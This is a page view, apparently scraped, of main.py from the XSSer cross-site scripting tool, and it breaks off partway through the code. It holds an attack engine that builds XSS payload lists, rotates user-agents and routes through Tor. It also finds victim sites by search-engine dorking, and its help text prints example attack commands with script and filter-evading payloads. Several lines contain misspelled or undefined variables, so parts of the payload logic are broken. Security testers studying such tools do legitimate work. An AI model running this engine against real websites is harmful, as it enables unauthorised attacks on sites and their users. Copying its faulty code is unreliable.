main.py 186 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os, re, sys, datetime, hashlib, time, urllib.request, urllib.parse, urllib.error, cgi, traceback, webbrowser, random
  19. from random import randint
  20. from base64 import b64encode, b64decode
  21. import core.fuzzing
  22. import core.fuzzing.vectors
  23. import core.fuzzing.DCP
  24. import core.fuzzing.DOM
  25. import core.fuzzing.HTTPsr
  26. import core.fuzzing.heuristic
  27. from collections import defaultdict
  28. from itertools import islice, chain
  29. from urllib.parse import parse_qs, urlparse
  30. from core.curlcontrol import Curl
  31. from core.encdec import EncoderDecoder
  32. from core.options import XSSerOptions
  33. from core.dork import Dorker
  34. from core.crawler import Crawler
  35. from core.imagexss import ImageInjections
  36. from core.flashxss import FlashInjections
  37. from core.post.xml_exporter import xml_reporting
  38. from core.tokenhub import HubThread
  39. from core.reporter import XSSerReporter
  40. from core.threadpool import ThreadPool, NoResultsPending
  41. from core.update import Updater
  42. # set to emit debug messages about errors (0 = off).
  43. DEBUG = 0
  44. class xsser(EncoderDecoder, XSSerReporter):
  45. """
  46. XSSer application class
  47. """
  48. def __init__(self, mothership=None):
  49. self._reporter = None
  50. self._reporters = []
  51. self._landing = False
  52. self._ongoing_requests = 0
  53. self._oldcurl = []
  54. self._gtkdir = None
  55. self._webbrowser = webbrowser
  56. self.crawled_urls = []
  57. self.checked_urls = []
  58. self.successful_urls = []
  59. self.urlmalformed = False
  60. self.search_engines = [] # available dorking search engines
  61. self.search_engines.append('bing') # [26/08/2019: OK!]
  62. self.search_engines.append('yahoo') # [26/08/2019: OK!]
  63. self.search_engines.append('startpage') # [26/08/2019: OK!]
  64. self.search_engines.append('duck') # [26/08/2019: OK!]
  65. #self.search_engines.append('google')
  66. #self.search_engines.append('yandex')
  67. self.user_template = None # wizard user template
  68. self.user_template_conntype = "GET" # GET by default
  69. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  70. if not mothership:
  71. # no mothership so *this* is the mothership
  72. # start the communications hub and rock on!
  73. self.hub = None
  74. self.pool = ThreadPool(0)
  75. self.mothership = None
  76. self.final_attacks = {}
  77. else:
  78. self.hub = None
  79. self.mothership = mothership
  80. self.mothership.add_reporter(self)
  81. self.pool = ThreadPool(0)
  82. self.final_attacks = self.mothership.final_attacks
  83. # initialize the url encoder/decoder
  84. EncoderDecoder.__init__(self)
  85. # your unique real opponent
  86. self.time = datetime.datetime.now()
  87. # this payload comes with vector already..
  88. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  89. # to be or not to be...
  90. self.hash_found = []
  91. self.hash_notfound = []
  92. # other hashes
  93. self.hashed_injections={}
  94. self.extra_hashed_injections={}
  95. self.extra_hashed_vector_url = {}
  96. self.final_hashes = {} # final hashes used by each method
  97. # some counters for checker systems
  98. self.errors_isalive = 0
  99. self.next_isalive = False
  100. self.flag_isalive_num = 0
  101. self.rounds = 0
  102. self.round_complete = 0
  103. # some controls about targets
  104. self.urlspoll = []
  105. # some statistics counters for connections
  106. self.success_connection = 0
  107. self.not_connection = 0
  108. self.forwarded_connection = 0
  109. self.other_connection = 0
  110. # some statistics counters for payloads
  111. self.xsr_injection = 0
  112. self.xsa_injection = 0
  113. self.coo_injection = 0
  114. self.manual_injection = 0
  115. self.auto_injection = 0
  116. self.dcp_injection = 0
  117. self.dom_injection = 0
  118. self.httpsr_injection = 0
  119. self.check_positives = 0
  120. # some statistics counters for injections found
  121. self.xsr_found = 0
  122. self.xsa_found = 0
  123. self.coo_found = 0
  124. self.manual_found = 0
  125. self.auto_found = 0
  126. self.dcp_found = 0
  127. self.dom_found = 0
  128. self.httpsr_found = 0
  129. self.false_positives = 0
  130. # some statistics counters for heuristic parameters
  131. self.heuris_hashes = []
  132. self.heuris_backslash_found = 0
  133. self.heuris_une_backslash_found = 0
  134. self.heuris_dec_backslash_found = 0
  135. self.heuris_backslash_notfound = 0
  136. self.heuris_slash_found = 0
  137. self.heuris_une_slash_found = 0
  138. self.heuris_dec_slash_found = 0
  139. self.heuris_slash_notfound = 0
  140. self.heuris_mayor_found = 0
  141. self.heuris_une_mayor_found = 0
  142. self.heuris_dec_mayor_found = 0
  143. self.heuris_mayor_notfound = 0
  144. self.heuris_minor_found = 0
  145. self.heuris_une_minor_found = 0
  146. self.heuris_dec_minor_found = 0
  147. self.heuris_minor_notfound = 0
  148. self.heuris_semicolon_found = 0
  149. self.heuris_une_semicolon_found = 0
  150. self.heuris_dec_semicolon_found = 0
  151. self.heuris_semicolon_notfound = 0
  152. self.heuris_colon_found = 0
  153. self.heuris_une_colon_found = 0
  154. self.heuris_dec_colon_found = 0
  155. self.heuris_colon_notfound = 0
  156. self.heuris_doublecolon_found = 0
  157. self.heuris_une_doublecolon_found = 0
  158. self.heuris_dec_doublecolon_found = 0
  159. self.heuris_doublecolon_notfound = 0
  160. self.heuris_equal_found = 0
  161. self.heuris_une_equal_found = 0
  162. self.heuris_dec_equal_found = 0
  163. self.heuris_equal_notfound = 0
  164. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  165. self.verbose = 2
  166. self.options = None
  167. def __del__(self):
  168. if not self._landing:
  169. self.land()
  170. def get_gtk_directory(self):
  171. if self._gtkdir:
  172. return self._gtkdir
  173. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  174. 'gtk')
  175. if os.path.exists(local_path):
  176. self._gtkdir = local_path
  177. return self._gtkdir
  178. elif os.path.exists('/usr/share/xsser/gtk'):
  179. self._gtkdir = '/usr/share/xsser/gtk'
  180. return self._gtkdir
  181. def set_webbrowser(self, browser):
  182. self._webbrowser = browser
  183. def set_reporter(self, reporter):
  184. self._reporter = reporter
  185. def add_reporter(self, reporter):
  186. self._reporters.append(reporter)
  187. def remove_reporter(self, reporter):
  188. if reporter in self._reporters:
  189. self._reporters.remove(reporter)
  190. def generate_hash(self, attack_type='default'):
  191. """
  192. Generate a new hash for a type of attack.
  193. """
  194. date = str(datetime.datetime.now())
  195. encoded_hash = date + attack_type
  196. return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
  197. def generate_numeric_hash(self): # 32 length as md5
  198. """
  199. Generate a new hash for numeric only XSS
  200. """
  201. newhash = ''.join(random.choice('0123456789') for i in range(32))
  202. return newhash
  203. def report(self, msg, level='info'):
  204. """
  205. Report some error from the application.
  206. levels: debug, info, warning, error
  207. """
  208. if self.verbose == 2:
  209. prefix = ""
  210. if level != 'info':
  211. prefix = "["+level+"] "
  212. print(msg)
  213. elif self.verbose:
  214. if level == 'error':
  215. sys.stdout.write("*")
  216. else:
  217. sys.stdout.write(".")
  218. for reporter in self._reporters:
  219. reporter.post(msg)
  220. if self._reporter:
  221. from twisted.internet import reactor
  222. reactor.callFromThread(self._reporter.post, msg)
  223. def set_options(self, options):
  224. """
  225. Set xsser options
  226. """
  227. self.options = options
  228. self._opt_request()
  229. def _opt_request(self):
  230. """
  231. Pass on some properties to Curl
  232. """
  233. options = self.options
  234. for opt in ['cookie', 'agent', 'referer',\
  235. 'headers', 'atype', 'acred', 'acert',
  236. 'proxy', 'ignoreproxy', 'timeout',
  237. 'delay', 'tcp_nodelay', 'retries',
  238. 'xforw', 'xclient', 'threads',
  239. 'dropcookie', 'followred', 'fli',
  240. 'nohead', 'isalive', 'alt', 'altm',
  241. 'ald'
  242. ]:
  243. if hasattr(options, opt) and getattr(options, opt):
  244. setattr(Curl, opt, getattr(options, opt))
  245. def get_payloads(self):
  246. """
  247. Process payload options and make up the payload list for the attack.
  248. """
  249. options = self.options
  250. # payloading sources for --auto
  251. payloads_fuzz = core.fuzzing.vectors.vectors
  252. if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
  253. self.options.fuzz = True
  254. # set a type for XSS auto-fuzzing vectors
  255. if options.fzz_info:
  256. fzz_payloads = []
  257. for fuzz in payloads_fuzz:
  258. if not fuzz["browser"] == "[Not Info]":
  259. fzz_payloads.append(fuzz)
  260. payloads_fuzz = fzz_payloads
  261. # set a limit for XSS auto-fuzzing vectors
  262. if options.fzz_num:
  263. try:
  264. options.fzz_num = int(options.fzz_num)
  265. except:
  266. options.fzz_num = len(payloads_fuzz)
  267. fzz_num_payloads = []
  268. fzz_vector = 0
  269. for fuzz in payloads_fuzz:
  270. fzz_vector = fzz_vector + 1
  271. if int(fzz_vector) < int(options.fzz_num)+1:
  272. fzz_num_payloads.append(fuzz)
  273. payloads_fuzz = fzz_num_payloads
  274. # set random order for XSS auto-fuzzing vectors
  275. if options.fzz_rand:
  276. try:
  277. from random import shuffle
  278. shuffle(payloads_fuzz) # shuffle paylods
  279. except:
  280. pass
  281. payloads_dcp = core.fuzzing.DCP.DCPvectors
  282. payloads_dom = core.fuzzing.DOM.DOMvectors
  283. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  284. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  285. # sustitute payload for hash to check for false positives
  286. self.hashed_payload = "XSS"
  287. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  288. # heuristic parameters
  289. heuristic_params = core.fuzzing.heuristic.heuristic_test
  290. def enable_options_heuristic(payloads):
  291. if options.heuristic:
  292. payloads = heuristic_params + payloads
  293. if options.dom:
  294. payloads = payloads + payloads_dom
  295. return payloads
  296. if options.fuzz:
  297. payloads = payloads_fuzz
  298. if options.dcp:
  299. payloads = payloads + payloads_dcp
  300. if options.script:
  301. payloads = payloads + manual_payload
  302. if options.hash:
  303. payloads = checker_payload + payloads
  304. if options.inducedcode:
  305. payloads = payloads + payloads_httpsr
  306. if options.heuristic:
  307. payloads = heuristic_params + payloads
  308. if options.dom:
  309. payloads = payloads + payloads_dom
  310. elif options.inducedcode:
  311. payloads = payloads + payloads_httpsr
  312. if options.heuristic:
  313. payloads = heuristic_params + payloads
  314. if options.dom:
  315. payloads = payloads + payloads_dom
  316. elif options.dom:
  317. payloads = payloads + payloads_dom
  318. elif options.heuristic:
  319. payloads = heuristic_params + payloads
  320. if options.dom:
  321. payloads = payloads + payloads_dom
  322. elif options.dom:
  323. payloads = payloads + payloads_dom
  324. elif options.hash:
  325. payloads = checker_payload + payloads
  326. if options.inducedcode:
  327. payloads = payloads + payloads_httpsr
  328. if options.heuristic:
  329. payloads = heuristic_params + payloads
  330. if options.dom:
  331. payloads = payloads + payloads_dom
  332. elif options.dom:
  333. payloads = payloads + payloads_dom
  334. elif options.inducedcode:
  335. payloads = payloads + payloads_httpsr
  336. if options.heuristic:
  337. payloads = heuristic_params + payloads
  338. if options.dom:
  339. payloads = payloads + payloads_dom
  340. elif options.dom:
  341. payloads = payloads + payloads_dom
  342. elif options.script:
  343. payloads = payloads + manual_payload
  344. if options.hash:
  345. payloads = checker_payload + payloads
  346. if options.inducedcode:
  347. payloads = payaloads + payloads_httpsr
  348. if options.heuristic:
  349. payloads = heuristic_params + payloads
  350. if options.dom:
  351. payloads = payloads + payloads_dom
  352. elif options.hash:
  353. payloads = checker_payload + payloads
  354. if options.inducedcode:
  355. payloads = payloads + payloads_httpsr
  356. if options.heuristic:
  357. payloads = heuristic_params + payloads
  358. if options.dom:
  359. payloads = payloads + payloads_dom
  360. elif options.dom:
  361. payloads = payloads + payloads_dom
  362. elif options.heuristic:
  363. payloads = heuristic_params + payloads
  364. if options.dom:
  365. payloads = payloads + payloads_dom
  366. elif options.dom:
  367. payloads = payloads + payloads_dom
  368. elif options.inducedcode:
  369. payloads = payloads + payloads_httpsr
  370. if options.hash:
  371. payloads = checker_payload + payloads
  372. if options.heuristic:
  373. payloads = heuristic_params + payloads
  374. if options.dom:
  375. payloads = payloads + payloads_dom
  376. elif options.dom:
  377. payloads = payloads + payloads_dom
  378. elif options.heuristic:
  379. payloads = heuristic_params + payloads
  380. if options.dom:
  381. payloads = payloads + payloads_dom
  382. elif options.dom:
  383. payloads = payloads + payloads_dom
  384. elif options.dcp:
  385. payloads = payloads_dcp
  386. if options.script:
  387. payloads = payloads + manual_payload
  388. if options.hash:
  389. payloads = checker_payload + payloads
  390. if options.inducedcode:
  391. payloads = payloads + payloads_httpsr
  392. if options.heuristic:
  393. payloads = heuristic_params + payloads
  394. if options.dom:
  395. payloads = payloads + payloads_dom
  396. elif options.hash:
  397. payloads = checker_payload + payloads
  398. if options.inducedcode:
  399. payloads = payloads + inducedcode
  400. if options.heuristic:
  401. payloads = heuristic_params + payloads
  402. if options.dom:
  403. payloads = payloads + payloads_dom
  404. elif options.dom:
  405. payloads = payloads + payloads_dom
  406. elif options.inducedcode:
  407. payloads = payloads + payloads_httpsr
  408. if options.heuristic:
  409. payloads = heuristic_params + payloads
  410. if options.dom:
  411. payloads = payloads + payloads_dom
  412. elif options.dom:
  413. payloads = payloads + payloads_dom
  414. elif options.heuristic:
  415. payloads = heuristic_params + payloads
  416. if options.dom:
  417. payloads = payloads + payloads_dom
  418. elif options.dom:
  419. payloads = payloads + payloads_dom
  420. elif options.script:
  421. payloads = manual_payload
  422. if options.hash:
  423. payloads = checker_payload + payloads
  424. if options.inducedcode:
  425. payloads = payloads + payloads_httpsr
  426. if options.heuristic:
  427. payloads = heuristic_params + payloads
  428. if options.dom:
  429. payloads = payloads + payloads_dom
  430. elif options.inducedcode:
  431. payloads = payloads + payloads_httpsr
  432. if options.heuristic:
  433. payloads = heuristic_params + payloads
  434. if options.dom:
  435. payloads = payloads + payloads_dom
  436. elif options.dom:
  437. payloads = payloads + payloads_dom
  438. elif options.heuristic:
  439. payloads = heuristic_params + payloads
  440. if options.dom:
  441. paylaods = payloads + payloads_dom
  442. elif options.dom:
  443. payloads = payloads + payloads_dom
  444. elif options.inducedcode:
  445. payloads = payloads_httpsr
  446. if options.hash:
  447. payloads = checker_payload + payloads
  448. if options.heuristic:
  449. payloads = heuristic_params + payloads
  450. if options.dom:
  451. payloads = payloads + payloads_dom
  452. elif options.heuristic:
  453. payloads = heuristic_params + payloads
  454. if options.dom:
  455. payloads = payloads + payloads_dom
  456. elif options.dom:
  457. payloads = payloads + payloads_dom
  458. elif options.heuristic:
  459. payloads = heuristic_params
  460. if options.hash:
  461. payloads = checker_payload + payloads
  462. if options.dom:
  463. payloads = payloads + payloads_dom
  464. elif options.dom:
  465. payloads = payloads + payloads_dom
  466. elif options.dom:
  467. payloads = payloads_dom
  468. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  469. payloads = [{"payload":'">PAYLOAD',
  470. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  471. }]
  472. else:
  473. payloads = checker_payload
  474. return payloads
  475. def process_ipfuzzing(self, text):
  476. """
  477. Mask ips in given text to DWORD
  478. """
  479. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  480. for ip in ips:
  481. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  482. return text
  483. def process_ipfuzzing_octal(self, text):
  484. """
  485. Mask ips in given text to Octal
  486. """
  487. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  488. for ip in ips:
  489. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  490. return text
  491. def process_payloads_ipfuzzing(self, payloads):
  492. """
  493. Mask ips for all given payloads using DWORD
  494. """
  495. # ip fuzzing (DWORD)
  496. if self.options.Dwo:
  497. resulting_payloads = []
  498. for payload in payloads:
  499. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  500. resulting_payloads.append(payload)
  501. return resulting_payloads
  502. return payloads
  503. def process_payloads_ipfuzzing_octal(self, payloads):
  504. """
  505. Mask ips for all given payloads using OCTAL
  506. """
  507. # ip fuzzing (OCTAL)
  508. if self.options.Doo:
  509. resulting_payloads = []
  510. for payload in payloads:
  511. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  512. resulting_payloads.append(payload)
  513. return resulting_payloads
  514. return payloads
  515. def get_query_string(self):
  516. """
  517. Get the supplied query string.
  518. """
  519. if self.options.postdata:
  520. return self.options.postdata
  521. elif self.options.getdata:
  522. return self.options.getdata
  523. return ""
  524. def attack_url(self, url, payloads, query_string):
  525. """
  526. Attack the given url checking or not if is correct.
  527. """
  528. if not self.options.nohead:
  529. for payload in payloads:
  530. self.rounds = self.rounds + 1
  531. self.attack_url_payload(url, payload, query_string)
  532. else:
  533. hc = Curl()
  534. try:
  535. urls = hc.do_head_check([url])
  536. except:
  537. self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
  538. return
  539. self.report("-"*50 + "\n")
  540. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  541. if str(hc.info()["http-code"]) in ["301"]:
  542. url = str(hc.info()["Location"])
  543. payload = ""
  544. query_string = ""
  545. elif str(hc.info()["http-code"]) in ["302"]:
  546. url = url + "/"
  547. payload = ""
  548. query_string = ""
  549. self.success_connection = self.success_connection + 1
  550. self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
  551. for payload in payloads:
  552. self.attack_url_payload(url, payload, query_string)
  553. else:
  554. if str(hc.info()["http-code"]) in ["405"]:
  555. self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
  556. self.success_connection = self.success_connection + 1
  557. for payload in payloads:
  558. self.attack_url_payload(url, payload, query_string)
  559. else:
  560. self.not_connection = self.not_connection + 1
  561. self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
  562. self.report("-"*50 + "\n")
  563. def not_keyword_exit(self):
  564. self.report("="*30)
  565. self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
  566. self.report("-"*25)
  567. self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
  568. self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
  569. self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
  570. self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
  571. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
  572. self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
  573. self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
  574. self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
  575. self.report(" Or a mixture:\n")
  576. self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
  577. self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
  578. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
  579. self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
  580. self.report("="*75 + "\n")
  581. if not self.options.xsser_gtk:
  582. sys.exit(2)
  583. else:
  584. pass
  585. def get_url_payload(self, url, payload, query_string, user_attack_payload):
  586. """
  587. Attack the given url with the given payload
  588. """
  589. options = self.options
  590. self._ongoing_attacks = {}
  591. if (self.options.xsa or self.options.xsr or self.options.coo):
  592. agent, referer, cookie = self._prepare_extra_attacks(payload)
  593. else:
  594. agents = [] # user-agents
  595. try:
  596. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  597. except:
  598. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  599. for line in f:
  600. agents.append(line)
  601. agent = random.choice(agents).strip() # set random user-agent
  602. referer = "127.0.0.1"
  603. cookie = None
  604. if options.agent:
  605. agent = options.agent
  606. else:
  607. self.options.agent = agent
  608. if options.referer:
  609. referer = options.referer
  610. else:
  611. self.options.referer = referer
  612. if options.cookie:
  613. cookie = options.cookie
  614. else:
  615. self.options.cookie = cookie
  616. # get payload/vector
  617. payload_string = payload['payload'].strip()
  618. ### Anti-antiXSS exploits
  619. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
